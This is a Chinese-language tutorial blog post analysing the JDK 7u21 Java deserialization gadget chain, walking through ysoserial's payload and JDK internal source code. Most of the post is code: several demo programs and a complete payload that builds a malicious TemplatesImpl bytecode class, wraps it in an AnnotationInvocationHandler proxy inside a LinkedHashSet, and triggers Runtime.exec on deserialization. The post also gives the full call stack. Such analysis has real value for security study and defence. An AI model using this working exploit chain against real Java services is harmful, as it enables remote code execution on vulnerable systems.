Java7u21链原理是什么

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简介

jdk7u21 链，是一个不需要借助第三方库就能实现的链。影响版本<=7u21

分析

from ysonerial

我们先来看看ysonerial里的payload是怎么写的，然后沿着其思路进行分析

public Object getObject(String command) throws Exception {
Object templates = Gadgets.createTemplatesImpl(command);
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler)Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = (Templates)Gadgets.createProxy(tempHandler, Templates.class, new Class[0]);
LinkedHashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);
Reflections.setFieldValue(templates, "_auxClasses", (Object)null);
Reflections.setFieldValue(templates, "_class", (Object)null);
map.put(zeroHashCodeStr, templates);
return set;
}

TemplatesImpl

我们看到，ysonerial的payload上来就通过Gadgets.createTemplatesImpl(command) 试图创建一个TemplatesImpl类。 createTemplatesImpl源码如下，我们发现创建TemplatesImpl类后又通过反射和javassist做了许多操作。

public static  T createTemplatesImpl(String command, Class tplClass, Class abstTranslet, Class transFactory) throws Exception {
T templates = tplClass.newInstance();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(Gadgets.StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
CtClass clazz = pool.get(Gadgets.StubTransletPayload.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\"") + "\");";
clazz.makeClassInitializer().insertAfter(cmd);
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
byte[] classBytes = clazz.toBytecode();
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, ClassFiles.classAsBytes(Gadgets.Foo.class)});
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}

那么为什么要创建这个类并且调用反射和javassist机制呢？先不急，我们看一下TemplatesImpl源码。

首先TemplatesImpl类中有个方法defineTransletClasses，它的主要代码如下

private byte[][] _bytecodes = (byte[][])null;

private void defineTransletClasses() throws TransformerConfigurationException {
if (this._bytecodes == null) {
.....
} else {
TemplatesImpl.TransletClassLoader loader = (TemplatesImpl.TransletClassLoader)AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TemplatesImpl.TransletClassLoader(ObjectFactory.findClassLoader());
}
});

try {
int classCount = this._bytecodes.length;
this._class = new Class[classCount];

for(int i = 0; i < classCount; ++i) {
this._class[i] = loader.defineClass(this._bytecodes[i]);  \\将_bytecodes中的所有字节通过defineClass转化为一个类
Class superClass = this._class[i].getSuperclass();
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
this._transletIndex = i;
} else {
this._auxClasses.put(this._class[i].getName(), this._class[i]);
}
}
}

也就是说通过这个方法可以将_bytecodes数组中的字节还原成一个类，存储到_class变量中。接下来如果我们能找到调用defineTransletClasses方法并执行了_class[].newinstance() 这样的的代码的方法，就能实例化从字节得到的类了，从而就能执行类中的静态代码块和构造函数了！ 所以接下来我们需要去寻找这种方法。 通过搜索defineTransletClasses，我们找到了有如下三个方法调用了defineTransletClasses方法：

getTransletInstance
getTransletIndex
getTransletClasses

其中，getTransletInstance方法是唯一符合“调用了defineTransletClasses且有_class[].newinstance()”的方法，其代码如下

private Translet getTransletInstance() throws TransformerConfigurationException {
ErrorMsg err;
try {
if (this._name == null) {
return null;
} else {
if (this._class == null) {
this.defineTransletClasses();
}

AbstractTranslet translet = (AbstractTranslet)this._class[this._transletIndex].newInstance(); \\here
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(this._useServicesMechanism);
if (this._auxClasses != null) {
translet.setAuxiliaryClasses(this._auxClasses);
}

return translet;
}

那么，getTransletInstance是一个private方法，我们不能直接调用它，在那里能去调用它呢？答案是newTransformer方法

public synchronized Transformer newTransformer() throws TransformerConfigurationException {
TransformerImpl transformer = new TransformerImpl(this.getTransletInstance(), this._outputProperties, this._indentNumber, this._tfactory);  \\here
········
}

OK.我们找到了触发7u21链的一个核心点了。我们写个小demo来通过TemplatesImpl实现代码执行 小demo的实现思路为：通过javassist动态生成一个恶意类（构造方法或者静态代码块有恶意代码），然后通过反射生成一个TemplatesImpl对象并设置各个变量的值，然后调用一下TemplatesImpl对象的newTransformer方法即可造成代码执行，代码如下

public class test{
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("evilclass");
String cmd = "Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd); \\向静态代码块插入恶意代码，插入到构造函数也可以
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));  \\需设置此项才能实现newinstance，具体原因请看defineTransletClasses和getTransletInstance源码
cc.setName("evilClass");


byte[] evilbytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{evilbytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Class clazz = TemplatesImpl.class.newInstance().getClass();
Field[] Fields = clazz.getDeclaredFields();
for (Field Field : Fields) { //遍历Fields数组
try { 
Field.setAccessible(true);  //对数组中的每一项实现私有访问
if(Field.getName()=="_bytecodes"){
Field.set(templates,targetByteCodes);
}
if(Field.getName()=="_class"){
Field.set(templates,null);
}
if(Field.getName()=="_name"){
Field.set(templates,"abc");
}
if(Field.getName()=="_tfactory"){
Field.set(templates,new TemplatesImpl());
}
} catch (Exception e) {}
}
templates.newTransformer();
}
}

但仅仅是这样，肯定是不够的。

AnnotationInvocationHandler

我们继续看ysoserial源码可以看到动用了AnnotationInvocationHandler这个东西.这个类原本的作用是作为Annotation 类的动态代理

我们把目光聚焦于invoke方法——动态代理的核心

public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} 
..........
}

它会检测传入的方法中是否有符合 名为equals，只有一个Object类型参数。若是，则调用equalsImpl方法并传入方法中的参数。 跟进equalsimpl方法

private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
Method[] var2 = this.getMemberMethods();
int var3 = var2.length;

for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4];
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1);   \\here
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}

if (!memberValueEquals(var7, var8)) {
return false;
}
}

return true;
}
}

发现会invoke 传入参数中的所有方法。 那么接下来我们就可以按照下面的思路写一个命令执行小demo:

创建一个包含恶意代码的TemplatesImpl实例，通过AnnotationInvocationHandler创建任意一个代理对象，然后代理对象调用equals方法传入参数为恶意TemplatesImpl对象，即可造成恶意代码执行 看到这里一定一头雾水，看看demo也许会好一点

public class test{
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("evilclass");
String cmd = "Runtime.getRuntime().exec(\"calc\");";
CtConstructor cons = new CtConstructor(new CtClass[]{},cc);
cons.setBody("Runtime.getRuntime().exec(\"calc\");");
cc.addConstructor(cons);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
cc.setName("evilClass");

byte[] evilbytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{evilbytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Class clazz = TemplatesImpl.class.newInstance().getClass();
Field[] Fields = clazz.getDeclaredFields();
for (Field Field : Fields) { //遍历Fields数组
try { //执行get()方法时需抛出IllegalAccessException错误
Field.setAccessible(true);  //对数组中的每一项实现私有访问
if(Field.getName()=="_bytecodes"){
Field.set(templates,targetByteCodes);
}
if(Field.getName()=="_class"){
Field.set(templates,null);
}
if(Field.getName()=="_name"){
Field.set(templates,"abc");
}
if(Field.getName()=="_tfactory"){
Field.set(templates,new TemplatesImpl());
}
} catch (Exception e) {}
}
//以上代码生成了恶意TemplatesImpl对象templates

Map map = new HashMap();
final Constructor ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];  //获得AnnotationInvocationHandler构造方法，方便获得它一个实例
ctor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);  //这里有个问题，为什么要传入Templates类对象而不是TemplatesImpl
Object proxy = Proxy.newProxyInstance(null, Object.class.getInterfaces(), invocationHandler);  \\反正创建一个AnnotationInvocationHandler的代理对象就行了，前两个参数都不用怎么管
proxy.equals(templates); //恶意代码执行
}
}

我们慢慢看看逻辑，在proxy.equals处下断点，调试 毫无疑问会进入到此处：AnnotationInvocationHandler的invoke方法。

然后参数符合if判断，调用equalsImpl方法，并传入参数为恶意TemplatesImpl对象，接下来就是进入反射调用处

遍历var2变量中的方法，并由我们的恶意对象来执行。

————此处插一下var2变量的来历

注意此处的getMemberMethods方法，它实质上是通过反射获得this.type中的所有方法。而this.type是在该对象构造方法中传入的第一个参数。

getMemberMethods：

构造方法：

————回到正题

由于我们通过反射传入构造方法的第一个参数是Templates.class，所以它会遍历Templates类中的所有方法。这个类其实是TemplatesImpl的接口类，它的代码如下

所以var2中存储的方法只有两个，newTransformer和getOutputProperties。 然后当遍历到newTransformer方法时，就会通过反射调用达到 eviltemplatesImpl.newTransformer() 的效果，从而导致恶意TemplatesImpl对象中的恶意代码被执行。

这里承接上面说的，为什么初始化AnnotationInvocationHandler对象时传入的第一个参数（即this.type)是Templates.class，而不是TemplatesImpl.class 诚然，这两个类对象都有方法newTransformer。但是如果传入TemplatesImpl.class，在遍历其中方法并通过反射执行时会出现错误：equalsImpl中的反射调用是不传入参数的

而TemplatesImpl中有许多需要传入参数才能被正常使用的方法，如果不传入参数就反射调用就会抛出异常，以至于在遍历到newTransformer方法前就会抛出异常，从而导致代码执行不被实现。

仅仅是这样，也还是不够的，我们还是得手动调用equals才能导致代码执行，反序列化点在哪里？

LinkedHashSet

ysoserial的payload中出现了此类。

LinkedHashSet继承自HashSet类，它的readObject方法也是从HashSet继承而来的。我们看看readObject方法的构造

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
int var2 = var1.readInt();
float var3 = var1.readFloat();
this.map = (HashMap)(this instanceof LinkedHashSet ? new LinkedHashMap(var2, var3) : new HashMap(var2, var3));
int var4 = var1.readInt();

for(int var5 = 0; var5 < var4; ++var5) {
Object var6 = var1.readObject();
this.map.put(var6, PRESENT);
}

}
}

它的主要亮点在for循环里面：遍历传入的序列化对象，将其反序列化后，再传入put方法

所以我们再来跟进一下map.put方法

public V put(K var1, V var2) {
if (var1 == null) {
return this.putForNullKey(var2);
} else {
int var3 = this.hash(var1);
int var4 = indexFor(var3, this.table.length);

for(HashMap.Entry var5 = this.table[var4]; var5 != null; var5 = var5.next) {
Object var6;
if (var5.hash == var3 && ((var6 = var5.key) == var1 || var1.equals(var6))) {  //here
Object var7 = var5.value;
var5.value = var2;
var5.recordAccess(this);
return var7;
}
}

++this.modCount;
this.addEntry(var3, var1, var2, var4);
return null;
}
}

注意我们添加注释那一行，有一个var1.equals(var6))) 其中var1和var6我们都是可以控制的：var1即传入的反序列化对象(恶意TemplatesImpl)，var6实际上也是我们传入的反序列化对象（恶意AnnotationInvocationHandler代理对象）。

但是想要执行var1.equals(var6))) 则必须要让 var5.hash == var3 为true 且 (var6 = var5.key) == var1为false. 怎么做到呢？

注意put方法的第5行，对传入的反序列化对象调用了hash方法。我们跟进hash方法

final int hash(Object var1) {
int var2 = 0;
if (this.useAltHashing) {
if (var1 instanceof String) {
return Hashing.stringHash42((String)var1);
}

var2 = this.hashSeed;
}

var2 ^= var1.hashCode();  //here
var2 ^= var2 >>> 20 ^ var2 >>> 12;
return var2 ^ var2 >>> 7 ^ var2 >>> 4;
}

发现会执行传入的参数对象的hashCode()方法 当我们传入的参数为恶意AnnotationInvocationHandler代理对象时，会调用代理对象中的invoke方法。对于AnnotationInvocationHandler而言当判断到执行hashCode方法时，实质上会执行AnnotationInvocationHandler中的hashCodeImpl方法

我们跟进hashCodeImpl

private int hashCodeImpl() {
int var1 = 0;

Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}

return var1;
}
上面是真实代码，比较难看，所以借鉴了一下别人对其进行修改后的代码，方便我们进行分析
private int hashCodeImpl() {
int result = 0;
// 遍历 memberValues
Iterator itr = this.memberValues.entrySet().iterator();
for( ;itr.hasNext(); ) {
Entry entry = (Entry)itr.next();
String key = ((String)entry.getKey());
Object value = entry.getValue();
// 127 * key 的 hashCode，再和 memberValueHashCode(value) 进行异或
result += 127 * key.hashCode() ^ memberValueHashCode(value);
}
return result;
}

这个方法会遍历this.memberValues属性（这个属性实质上就是HashMap内添加的属性），然后对其中每一项键值属性进行进行位运算并累加

其中memberValueHashCode函数我们也可以跟进一下

发现只要传入参数不为数组，就调用它的hashCode函数并返回。

我们来梳理一下，怎么才能调用到put方法里的equals触发代码执行： payload阶段：

建立一个map变量，其key为特殊的一个值:f5a5a608,这个值的hashCode是0，然后值为恶意templatesImpl类，然后以这个map变量为参数建立AnnotationInvocationHandler代理对象。

再向HashMap里放入一个值，键为恶意TemplatesImpl对象， 再放入一个值，键为恶意AnnotationInvocationHandler对象。 （LinkedHashSet会让HashMap有序，从而在反序列化的时候能按顺序依次从HashMap读取对象。如果用HashSet，则会在反序列化时报错）

反序列化阶段：

随后在readObject时，TemplatesImpl先被put方法调用。

然后在put方法里通过hash()方法获得其hash，并将其录入到它的hash属性里，然后写入到HashMap的存储队列里。

然后AnnotationInvocationHandler再被put方法调用

在对其使用hash方法获得hash时，会因其是一个代理类的缘故在hash函数内部调用hashCode()方法时会调用其代理方法hashCodeImpl。

随后在hashCodeImpl内部遍历this.memberValues变量（也就是之前初始化时放入的map变量）

将每一项的key值的hashCode与传入map vaule值作为参数的memberValueHashCode方法进行异或。 这个memberValueHashCode方法会判断传入的值是否为数组，若不是数组则直接返回参数的hashCode()。

因为我们之前初始化代理对象时传入的是一个键为f5a5a608，值为eviltemplates的map，所以以上hash计算最终得到的结果，便是0^(templatesImpl.hashCode()). 也就是templatesImpl.hashCode()。所以也就是说AnnotationInvocationHandler对象作为参数传入被hash方法执行后的结果，就相当于是hash(eviltemplates)

随后这个值来到if判断逻辑，它遍历之前的值，并将遍历得到的值赋给var5

上一个值的hash（也就是eviltemplates的hash）与AnnotationInvocationHandler对象的hash（也还是eviltemplates的hash）相同，但是AnnotationInvocationHandler对象与eviltemplates对象并不相同，所以便触动了equals，代码执行成功。

完整payload

纵观以上三个类，我们可以写出payload

public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("evilclass");
String cmd = "Runtime.getRuntime().exec(\"calc\");";
CtConstructor cons = new CtConstructor(new CtClass[]{},cc);
cons.setBody("Runtime.getRuntime().exec(\"calc\");");
cc.addConstructor(cons);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
cc.setName("evilClass");

byte[] evilbytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{evilbytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Class clazz = TemplatesImpl.class.newInstance().getClass();
Field[] Fields = clazz.getDeclaredFields();
for (Field Field : Fields) { //遍历Fields数组
try { //执行get()方法时需抛出IllegalAccessException错误
Field.setAccessible(true);  //对数组中的每一项实现私有访问
if(Field.getName()=="_bytecodes"){
Field.set(templates,targetByteCodes);
}
if(Field.getName()=="_class"){
Field.set(templates,null);
}
if(Field.getName()=="_name"){
Field.set(templates,"abc");
}
if(Field.getName()=="_tfactory"){
Field.set(templates,new TemplatesImpl());
}
} catch (Exception e) {}
}


Map map = new HashMap();
String magicStr = "f5a5a608";
final Constructor ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);

InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);
Object proxy =  Proxy.newProxyInstance(null, Object.class.getInterfaces(), invocationHandler);
HashSet target = new LinkedHashSet();
target.add(templates);
target.add(proxy);
//这个map需要在Hashmap put了proxy后再赋值，不然会报错（我也不知道为什么
map.put(magicStr, templates);
// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(filename));
oos.writeObject(target);
// 反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();

看一下调用栈

更直观的调用链

LinkedHashSet.readObject()
LinkedHashSet.add()
...
TemplatesImpl.hashCode() (X)
LinkedHashSet.add()
...
Proxy(Templates).hashCode() (X)
AnnotationInvocationHandler.invoke() (X)
AnnotationInvocationHandler.hashCodeImpl() (X)
String.hashCode() (0)
AnnotationInvocationHandler.memberValueHashCode() (X)
TemplatesImpl.hashCode() (X)
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
// TemplatesImpl.getOutputProperties()，实际测试时会直接调用 newTransformer()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
...
MaliciousClass.()
...
Runtime.exec()

到此，关于“Java 7u21链原理是什么”的学习就结束了，希望能够解决大家的疑惑。理论与实践的搭配能更好的帮助大家学习，快去试试吧！若想继续学习更多相关知识，请继续关注创新互联网站，小编会继续努力为大家带来更多实用的文章！